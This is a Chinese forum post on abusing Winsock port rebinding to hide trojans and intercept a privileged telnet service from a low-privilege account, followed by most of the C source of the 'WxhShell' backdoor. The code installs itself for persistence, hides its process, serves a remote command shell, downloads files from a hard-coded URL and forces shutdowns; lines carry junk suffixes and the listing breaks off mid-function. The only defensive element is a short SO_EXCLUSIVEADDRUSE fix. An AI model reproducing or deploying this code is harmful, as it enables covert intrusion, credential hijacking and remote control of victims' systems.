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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uFuP%f!yY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q ,+29  
IdCE<Oj\  
  saddr.sin_family = AF_INET; R[l~E![!j  
`neo.]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0J6* U[  
 &\ K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }L @~!=q*  
Bkg./iP5x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -b)3+#f  
+R_s(2vz  
  这意味着什么?意味着可以进行如下的攻击: _zkTx7H  
l{Et:W%|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8Vy/n^3)  
m95] z18T'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NU"L1dK @  
F_&H*kL L3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )d>Dcne  
,ZVhL* "  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }}l jVUpC%  
dM-~Qo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !DD4Bqez  
lQv (5hIm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c9djBUAk&  
fNV-_^,R9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *;l[|  
7=s7dYlu  
  #include So= BcX-  
  #include vGOO"r(xL  
  #include j8%Y[:~D  
  #include    nUK;M[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gYloY=.Z$'  
  int main() gX| \O']6  
  { >vXS6`;  
  WORD wVersionRequested; ^a$L9p(  
  DWORD ret; 8tO.o\)h  
  WSADATA wsaData; q{+}0!o  
  BOOL val; TPLv]$n  
  SOCKADDR_IN saddr; O)"Z%B  
  SOCKADDR_IN scaddr; 39d$B'"<1  
  int err; 6n;? :./  
  SOCKET s; 4%4Yqx )  
  SOCKET sc; 4y!GFhMh  
  int caddsize; ^V7)V)Z;0  
  HANDLE mt; |pBvy1e4)  
  DWORD tid;   P0RtS1A  
  wVersionRequested = MAKEWORD( 2, 2 ); >Bu _NoM  
  err = WSAStartup( wVersionRequested, &wsaData ); wxN&k$`a  
  if ( err != 0 ) { `|PhXr  
  printf("error!WSAStartup failed!\n"); NN5G '|i  
  return -1; 0Hx'C^m72  
  } 5RP5%U  
  saddr.sin_family = AF_INET; E,fbIyX  
   u>:j$@56  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +O)ZB$w4  
a5&[O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A-*MH#QUKh  
  saddr.sin_port = htons(23); ^gkKk&~A5?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e7tio!  
  { b}*q*Bq  
  printf("error!socket failed!\n"); 5=Y(.}6  
  return -1; E(&zH;?_  
  } .KtK<Ps[S  
  val = TRUE; wL}X~Xa3i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~qX wQ@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ],vid1E  
  { 2`> (LH  
  printf("error!setsockopt failed!\n"); c:+UC  
  return -1; H%Z;Yt8^gt  
  } -:~z,F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hLVgP&/ E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,1]VY/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \FF|b"E_=  
/O`R9+;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @Fzw_qr M  
  { @jq H8  
  ret=GetLastError(); GIfs]zVr`  
  printf("error!bind failed!\n"); Z-yoJZi  
  return -1; 5kADvi.  
  } >U?#'e{qW  
  listen(s,2); !)}D_9{  
  while(1) 4G hg~0  
  { L">m2/ HG  
  caddsize = sizeof(scaddr); c._!dq&#R  
  //接受连接请求 EfkBo5@Qi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M:L-j{?y_  
  if(sc!=INVALID_SOCKET) K)}Vr8,V  
  { # %'%LY=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RRzLQ7J  
  if(mt==NULL) ~#)9Kl7<X  
  { bJkFCI/  
  printf("Thread Creat Failed!\n"); k(v &+v  
  break; .4[M-@4+]  
  } ylDfr){  
  } @}uo:b:Q  
  CloseHandle(mt); "{3MXAFe  
  } ;Wsl 'e/  
  closesocket(s); ]\]mwvLT  
  WSACleanup(); ]mjKF\  
  return 0; .'4@Yp{=  
  }   A7eYKo q  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z-M4J;J@}  
  { 2wgcVQ Awa  
  SOCKET ss = (SOCKET)lpParam; 1_StgFu u  
  SOCKET sc; "{d[V(lE"  
  unsigned char buf[4096]; [4@@b"H  
  SOCKADDR_IN saddr; 8ZJ6~~h  
  long num; Z=< D`  
  DWORD val; s?fEorG  
  DWORD ret; +ZV?yR2yn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uC6e2py<[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2z1r|?l  
  saddr.sin_family = AF_INET; Ik@MIxLK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1F+nWc2b  
  saddr.sin_port = htons(23); ju4wU; Nu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {UF|-VaG  
  { RB;2  
  printf("error!socket failed!\n"); 75A60Uw  
  return -1; ;!OME*?m<  
  } V#c=O}  
  val = 100; 5bsv05=e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i98PlAq)B  
  { +eop4 |Z  
  ret = GetLastError(); y+ izC+  
  return -1; A2Iqn5  
  } T(k:\z/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L Z3=K`gj  
  { >feeVk  
  ret = GetLastError(); o[S Mt  
  return -1; $N|Spp0  
  } -qLNs_ _k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @[n%q.|VB  
  { EJJ&`,q  
  printf("error!socket connect failed!\n"); B*^QTJ  
  closesocket(sc); L:jv%;DM  
  closesocket(ss); N ]GF>kf:  
  return -1; cCIs~*D  
  } +!G)N~o  
  while(1) MW=rX>tE  
  { tMo=q7ig  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 APU~y5vG (  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pvRa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9'KOc5@l^  
  num = recv(ss,buf,4096,0); =S\pI  
  if(num>0) zCu+Oi6  
  send(sc,buf,num,0); eEeK ] 8@  
  else if(num==0) gV'=u z v  
  break; 7'@~TM  
  num = recv(sc,buf,4096,0); %*Yb J_j7  
  if(num>0) tcI Z 2H%  
  send(ss,buf,num,0); aDE}'d1qo  
  else if(num==0) ^HHT>K-m  
  break; 8P2_/)|  
  } :;Npk9P(N  
  closesocket(ss); nrM-\'  
  closesocket(sc); 'ztY>KVj  
  return 0 ; |1T[P)Q  
  } `|:` yl  
!T}R=;)e h  
*4l6+#W  
========================================================== e C&!yY2g  
0 Gq<APtr  
下边附上一个代码,,WXhSHELL &*~_ "WyU  
^n\g,  
========================================================== T3-/+4$0v  
1NK,:m  
#include "stdafx.h" mH'om SCz  
(]5gYi  
#include <stdio.h> s]xn&rd_  
#include <string.h> |s!n7%|,7  
#include <windows.h> }IKU^0M9<T  
#include <winsock2.h> 5g2:o^  
#include <winsvc.h> tpP68)<ns  
#include <urlmon.h> 0rc'SEl  
[Fr <tKtB  
#pragma comment (lib, "Ws2_32.lib") t<+gyAW  
#pragma comment (lib, "urlmon.lib") -?ebkHe  
sT91>'&  
#define MAX_USER   100 // 最大客户端连接数 5J3K3  
#define BUF_SOCK   200 // sock buffer t\\<+^[%  
#define KEY_BUFF   255 // 输入 buffer i"{znKz vD  
Q*/jQC  
#define REBOOT     0   // 重启 P> 7PO~E.  
#define SHUTDOWN   1   // 关机 U^OR\=G^  
)N&95\ u  
#define DEF_PORT   5000 // 监听端口 -V||1@ |  
s6I/%R3  
#define REG_LEN     16   // 注册表键长度 ) =|8%IrB  
#define SVC_LEN     80   // NT服务名长度 B> zQ[e@t  
kO,vHg$  
// 从dll定义API <ol? 9tm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O{=@c96rl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XZ|\|(6Cc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {.r9l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H8!lSRq  
H7Pw>Ta ;  
// wxhshell配置信息 Wk]E6yz6  
struct WSCFG { 0Rh*SoYrC  
  int ws_port;         // 监听端口 z@xkE ,j>  
  char ws_passstr[REG_LEN]; // 口令 u"kB`||(  
  int ws_autoins;       // 安装标记, 1=yes 0=no s18A  
  char ws_regname[REG_LEN]; // 注册表键名 Ia>~ph#]{`  
  char ws_svcname[REG_LEN]; // 服务名 [Y6ZcO/-i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gy/bA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IZZ $p{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kyUG+M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~&+8m=   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4TaHS!9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 szy2"~hm  
{CGk9g" `  
}; 'Y>@t6E4  
,^qHl+'  
// default Wxhshell configuration N\ zUQ J  
struct WSCFG wscfg={DEF_PORT, -4S4I  
    "xuhuanlingzhe", gq)uv`3  
    1, A*? Qm  
    "Wxhshell",  Kuh)3/7  
    "Wxhshell", p[D,.0SuC  
            "WxhShell Service", 49 1 1  
    "Wrsky Windows CmdShell Service", m>'#664q1  
    "Please Input Your Password: ", 8*(|uX  
  1, oh >0}Gc8  
  "http://www.wrsky.com/wxhshell.exe", <J!?eH9f  
  "Wxhshell.exe" r6}-EYq=  
    }; e]smnf  
6+yA4pRSd  
// 消息定义模块 R%;dt<Dh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2!}rH w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .IORvP-M&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f_ > lz  
char *msg_ws_ext="\n\rExit."; c)17[9"  
char *msg_ws_end="\n\rQuit."; p 4lB#  
char *msg_ws_boot="\n\rReboot..."; `AhTER  
char *msg_ws_poff="\n\rShutdown..."; AJt4I W@  
char *msg_ws_down="\n\rSave to "; O4,? C)  
NQ\<~a`Eq  
char *msg_ws_err="\n\rErr!"; :z+l=d:4  
char *msg_ws_ok="\n\rOK!"; 7]8apei|  
(EOYJHZB!  
char ExeFile[MAX_PATH]; Gv 6#LcF#  
int nUser = 0; N`5 mPE  
HANDLE handles[MAX_USER]; _(:bGI'.m  
int OsIsNt; x]|-2t  
Iz I hC  
SERVICE_STATUS       serviceStatus; lkgB,cflpi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yf x'7gj  
`qj24ehc  
// 函数声明 c]/&xRd  
int Install(void); +v|]RgyW)  
int Uninstall(void); ,a} vx"~  
int DownloadFile(char *sURL, SOCKET wsh); f15n ~d  
int Boot(int flag); IL<@UWs6  
void HideProc(void); mbO.Kyfen  
int GetOsVer(void); <0H^2ekd  
int Wxhshell(SOCKET wsl); b'G!)n  
void TalkWithClient(void *cs); =' #yG(h  
int CmdShell(SOCKET sock); <z-+{-?z~  
int StartFromService(void); E% \Ohs7  
int StartWxhshell(LPSTR lpCmdLine); >/DlxYG?  
IVSd,AR7yY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YW^sf,zQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %ZJ;>a#  
$U}GX'1LZ  
// 数据结构和表定义 bF? {  
SERVICE_TABLE_ENTRY DispatchTable[] = O.OSLezTQ  
{ &e1(|qax  
{wscfg.ws_svcname, NTServiceMain}, $jv/00:&  
{NULL, NULL} lag%} ^  
}; 47 9yG/+\  
g2GHsVS  
// 自我安装 O\)rp!i  
int Install(void) A\~tr   
{ <5l!xzvw  
  char svExeFile[MAX_PATH]; ,{{Z)"qaH  
  HKEY key; C(5B/W6  
  strcpy(svExeFile,ExeFile); 4$jb-Aw  
"9yQDS:  
// 如果是win9x系统,修改注册表设为自启动 hIMD2  
if(!OsIsNt) { M\dZxhQ-l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >^ M=/+<c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y4N=v{EbL  
  RegCloseKey(key); <>^otb,e$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lAx^!#~\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +(J{~A~  
  RegCloseKey(key); SHP_  
  return 0; ER*Et+ >  
    } `'M}.q,k~  
  } wx)Yl1 C  
} c*`= o( S  
else { 0?8{q{ o+  
>TZyax<:  
// 如果是NT以上系统,安装为系统服务 =$awUy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g:CMIe4  
if (schSCManager!=0) RS[>7-9  
{ m8<l2O=m  
  SC_HANDLE schService = CreateService /l$>W<}@  
  (  K na  
  schSCManager, JO"-"&>  
  wscfg.ws_svcname, sc &S0K  
  wscfg.ws_svcdisp, fr([g?F%D  
  SERVICE_ALL_ACCESS, eU.HS78  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q~*>  
  SERVICE_AUTO_START, ;]xJC j  
  SERVICE_ERROR_NORMAL, l<=Y.P_2  
  svExeFile, pcjb;&<  
  NULL, 5t~p99#?  
  NULL, 'J"m`a8no  
  NULL, 7>>6c7e  
  NULL, dUL3UY3  
  NULL DZ~qk+,I  
  ); V50FX }i  
  if (schService!=0) e|jmOYWG  
  { V?"SrXN>  
  CloseServiceHandle(schService); \w\{x0u  
  CloseServiceHandle(schSCManager); 0NMekVi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Erd)P  
  strcat(svExeFile,wscfg.ws_svcname); 1lLL9l{UVw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U k*HRudt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z 7s (g]  
  RegCloseKey(key); Y]gb`z$?  
  return 0; ffqz :6  
    } .,5N/p"aV  
  } a+Z95~*sZ"  
  CloseServiceHandle(schSCManager); W_ hckq.  
} # ^~[\8v>  
} N++jI(  
(:2,Rr1"  
return 1; `cBV+00YS  
} m?Qr)F_M  
J}UG{RttI  
// 自我卸载 ,/>hWAx  
int Uninstall(void) ;.4A,7w#  
{ k9pOY]_Y  
  HKEY key; o:irwfArv  
,3tcti~sZ  
if(!OsIsNt) { pk0C x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V)8d1S  
  RegDeleteValue(key,wscfg.ws_regname); ,Bg)p_B  
  RegCloseKey(key); }^ np  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UBy< vwnU  
  RegDeleteValue(key,wscfg.ws_regname); PtT=HvP!k  
  RegCloseKey(key); W{!GL  
  return 0; N-4k 9l1  
  } * vMNv  
} b7_uT`<  
} ToWtltCD  
else { $<(FZb=  
Y}pCBw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q(\U'|%J  
if (schSCManager!=0) 8NRc+@f|m  
{ 7jL3mI;n%;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w[S!U<9/  
  if (schService!=0) D L0i  
  { |3A/Og  
  if(DeleteService(schService)!=0) { oSOO5dk:z  
  CloseServiceHandle(schService); xF4>D!T%8  
  CloseServiceHandle(schSCManager); tgPx!5U  
  return 0; Y]SX2kk(2  
  } {:;599l  
  CloseServiceHandle(schService); *$I5_A8,.  
  } ;Xw'WMb*=  
  CloseServiceHandle(schSCManager); "+6:vhP5  
} W+C@(}pt  
} "V;5Lp b  
feH|sz`e  
return 1; }Ra'`;D$  
} }yfSF|\  
!F_BLHig  
// 从指定url下载文件 DFKumw>!  
int DownloadFile(char *sURL, SOCKET wsh) CAhkv0?8  
{ Gw5j6  
  HRESULT hr; _*SA_.0  
char seps[]= "/"; Gw/imXL  
char *token; !6UtwCVR  
char *file; 5g{F-  
char myURL[MAX_PATH]; :bhpYEUMx  
char myFILE[MAX_PATH]; ^K#PcPF-j  
9{;cp?\)M  
strcpy(myURL,sURL); +v`?j+6z  
  token=strtok(myURL,seps); F(w  
  while(token!=NULL) Wx<fD()  
  { ^" EsBt  
    file=token; KAucSd`  
  token=strtok(NULL,seps); j JxV)AIY  
  } Gqz<;y  
;gC.fpu  
GetCurrentDirectory(MAX_PATH,myFILE); #=G[ ~m\  
strcat(myFILE, "\\");  .UUY9@  
strcat(myFILE, file); $~[k?D  
  send(wsh,myFILE,strlen(myFILE),0); Ie[8Iot?bn  
send(wsh,"...",3,0); tCJ+OU5/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4\.1phe$a  
  if(hr==S_OK) I}#_Jt3R  
return 0; 5gPcsn"D  
else fJb<<6C  
return 1; Nl3@i`;  
~ "^]\3#  
} 5f:Mb|. ?  
}CiB+  
// 系统电源模块 me+F0:L  
int Boot(int flag) y3]7^+k  
{ )L*6xTa~  
  HANDLE hToken; {PXN$p:'  
  TOKEN_PRIVILEGES tkp; GtCbzNY  
I?l%RdGW  
  if(OsIsNt) { Jv|uI1V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F3aOKV^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  f:_\S  
    tkp.PrivilegeCount = 1; {g:I5 A#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ndIf1}   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 39|4)1e  
if(flag==REBOOT) { bvf}r ,`Q7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )jh4HMvmC  
  return 0; &: i|;^^2  
} "gcHcboU5$  
else { S+mZ.aFS0z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~i4h.ZLj  
  return 0; _k0 X)N+li  
} q"|,HpQ  
  } t4a/\{/#9|  
  else { #+v Iq?  
if(flag==REBOOT) { RJo"yB$1e6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~VRt 6C  
  return 0; j{i3lGaN  
} 7gLN7_2  
else { : "|M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V'XmMn)!  
  return 0; I.f)rMl+h  
} +J^-B}v  
} e;y\v/A  
yEnurq%J  
return 1; 5Iv3B|u  
} 2{v$GFc/  
TTS.wBpR,  
// win9x进程隐藏模块 %>dCAj"  
void HideProc(void) u7_IO  
{ 9t.u9C=!F  
qP"+SVqC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %nTgrgS(=  
  if ( hKernel != NULL ) _B@=fY(g!  
  { ;b(*Bh<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vo9DmW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %_rdO(   
    FreeLibrary(hKernel); @l7~Zn  
  } HA?<j|M  
_I$\O5  
return; ^ |k 7g  
} wj-=#gyAoo  
}9&Z#1/  
// 获取操作系统版本 y"Fp4$qb  
int GetOsVer(void) 8i H'cX  
{ ax]Pa*C}  
  OSVERSIONINFO winfo; WOW:$.VO^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r#ISIgJXG  
  GetVersionEx(&winfo); dM%#DN8 l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3D)gy9T&l  
  return 1; 7oj ^(R,  
  else G:W4<w  
  return 0; u&q RK>wLa  
} .?L&k|wX-  
.eg?FB'7  
// 客户端句柄模块 d|^cKLu  
int Wxhshell(SOCKET wsl) uSeRn@  
{ h]wahExYP  
  SOCKET wsh; ]SqLF!S(=  
  struct sockaddr_in client; ,]1oG=`3v  
  DWORD myID; 6qW/Td|g  
Md~% e'  
  while(nUser<MAX_USER) Q\pTyNAYn  
{ =Kq/E De  
  int nSize=sizeof(client); k 8C[fRev  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cQ= "3M)~r  
  if(wsh==INVALID_SOCKET) return 1; RTPxAp+\5  
::k>V\;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ra="4T$va  
if(handles[nUser]==0) WE_jT1^/  
  closesocket(wsh); Q9-o$4#R[  
else 0q|.]:][Eo  
  nUser++; Fap@cW3?8  
  } :xn/9y+s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S7{L-"D =y  
~FnB!Mh}?  
  return 0; ^ :%"Z&  
} <M(Jqb cWa  
{o2pCH  
// 关闭 socket AOT +4*)%  
void CloseIt(SOCKET wsh) p$>e{-u  
{ _/@VV5Mq  
closesocket(wsh); G+k[.  
nUser--; mN5`Fct*A>  
ExitThread(0); WD wW`  
} <78]OZ] Z  
X67.%>#3  
// 客户端请求句柄 ]}4{|& e  
void TalkWithClient(void *cs) _R&}CP  
{ !ke_?+ 8sY  
l>l)m-;O  
  SOCKET wsh=(SOCKET)cs; aNZJs<3;'D  
  char pwd[SVC_LEN];  3kAmRU  
  char cmd[KEY_BUFF]; ?^F*M#%?  
char chr[1]; K k 5 vC{  
int i,j; H+^93  
5|&:l8=  
  while (nUser < MAX_USER) { s0,\[rM  
*?;<buJb?  
if(wscfg.ws_passstr) { OYcf+p"<\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JfJUOaL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +-b:XeHSZ  
  //ZeroMemory(pwd,KEY_BUFF); ?y.q<F)  
      i=0; h8IjTd]z{$  
  while(i<SVC_LEN) { "qL4D4  
DU_38tz  
  // 设置超时 WM& k  
  fd_set FdRead; kbqG)  
  struct timeval TimeOut; t;[L-|^  
  FD_ZERO(&FdRead); RR2Q  
  FD_SET(wsh,&FdRead); k=t\  
  TimeOut.tv_sec=8; 5F@7A2ZR  
  TimeOut.tv_usec=0; )XB31^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O]ZP- WG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' 0iXx   
nWTo$*>W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HOWm""IkB  
  pwd=chr[0]; Au+SCj  
  if(chr[0]==0xd || chr[0]==0xa) { g[VVxp!C<  
  pwd=0; R<}WNZl  
  break; E0K'|*  
  } <E2+P,Lgw  
  i++; "AN2K  
    } *gu4%  
GCN(  
  // 如果是非法用户,关闭 socket Yg 8AMi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2ckAJcpEb/  
} d/Q}I[J.u  
kF:4 [d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wa#!O$u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qr`WPTQr"  
9zdp 8?T  
while(1) { C4Pi6.wf  
/O"IA4O  
  ZeroMemory(cmd,KEY_BUFF); vn n4  
_xgF?#  
      // 自动支持客户端 telnet标准   ML6V,V/e  
  j=0; i^c  
  while(j<KEY_BUFF) { !olvP*c"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yjv[rH5v  
  cmd[j]=chr[0]; f wN  
  if(chr[0]==0xa || chr[0]==0xd) { ahagt9[,:F  
  cmd[j]=0; (!h%) _?.l  
  break;  &!I^m  
  } 7U#`^Q}  
  j++; f_`gUMf  
    } mZ;W$y SO  
zWiM l.[  
  // 下载文件 *9"L?S(X#  
  if(strstr(cmd,"http://")) { %@IZ41<C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;p~&G"-C`  
  if(DownloadFile(cmd,wsh)) nSH A,c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [al,UO  
  else #"}Z'|X*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s : c  
  } >|<8QomD  
  else { 9>qc1z  
*/gm! :Ym  
    switch(cmd[0]) { DA s&4Y`  
  9Y:JA]U&8  
  // 帮助 65FdA-4  
  case '?': { l~.}#$P]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1jdv<\U   
    break; ,E]u[7A  
  } %|(~k*s4  
  // 安装 $y !k)"k  
  case 'i': { NB]T~_?]*  
    if(Install()) ^%X,Rml<e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RX",Zt$q  
    else \~H; Wt5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i2or/(u`  
    break; ]?P9M<0PM  
    } *G"vV>OSV  
  // 卸载 tAD{{GW9  
  case 'r': { hJ8|KPgdw  
    if(Uninstall()) Vq`i.>%5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "65@8xt==  
    else ayfZ>x{s*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o'.6gZ gk  
    break; `Q2 `":  
    } 6l|pTyb1  
  // 显示 wxhshell 所在路径 Wc4K?3 ZM  
  case 'p': { $M\[^g(q  
    char svExeFile[MAX_PATH]; uMm/$#E  
    strcpy(svExeFile,"\n\r"); - #]?3*NO  
      strcat(svExeFile,ExeFile); jEBZ"Jvb  
        send(wsh,svExeFile,strlen(svExeFile),0); o[AQS`  
    break; /p~Wk4'  
    } 8" Z!: =A  
  // 重启 csTX',c  
  case 'b': { x Z2 }1D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [3`T/Wm  
    if(Boot(REBOOT)) {Y{*(5YV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k[oU}~*U+  
    else { A(y^1Nm  
    closesocket(wsh); l 6wX18~XJ  
    ExitThread(0); azMrY<  
    } }G$rr.G  
    break; zGFo -C  
    } }a@ZFk_>  
  // 关机 [V`j@dV  
  case 'd': { 9OB[ig  
